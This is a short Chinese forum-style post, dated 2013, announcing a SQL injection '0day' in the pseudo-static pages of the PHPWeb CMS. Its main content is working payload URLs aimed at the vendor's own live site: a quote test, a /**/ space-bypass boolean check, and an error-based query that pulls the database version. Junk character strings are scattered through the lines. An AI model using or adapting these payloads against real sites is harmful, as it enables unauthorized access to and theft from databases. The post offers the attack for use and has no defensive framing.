phpweb伪静态页面注入0day

admin

phpweb所有的整站程序伪静态页面都存在sql注入

主站：http://phpweb.net/
  U- R1 f* [: Z; y& a- K加’检测：
6 g3 E* x3 F; b8 F  v( x
; T$ q+ p! z5 ahttp://www.phpweb.net/down/html/?772′.html

  I. Q( \& h- c$ p6 |% ~, R出错
存在注入。
不能用空格，只能用/*罗
5 G9 V& Q" E  n4 o1 phttp://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常

  r! x/ `5 G: ^2 E2 l$ Lhttp://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
/ E9 z7 G* j- D0 _# J爆数据库版本：

8 l2 P. E( R. F6 X! {# H9 l?
1
% ]/ H2 p4 [( X9 s5 N0 ]) [; qhttp://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
: |) k/ p& M* o) e2 c  y1 a2 e9 Y更新日期: 2013-01-03 13:39:50        
! \( [" s0 N0 i  R2 }% H5 }4 h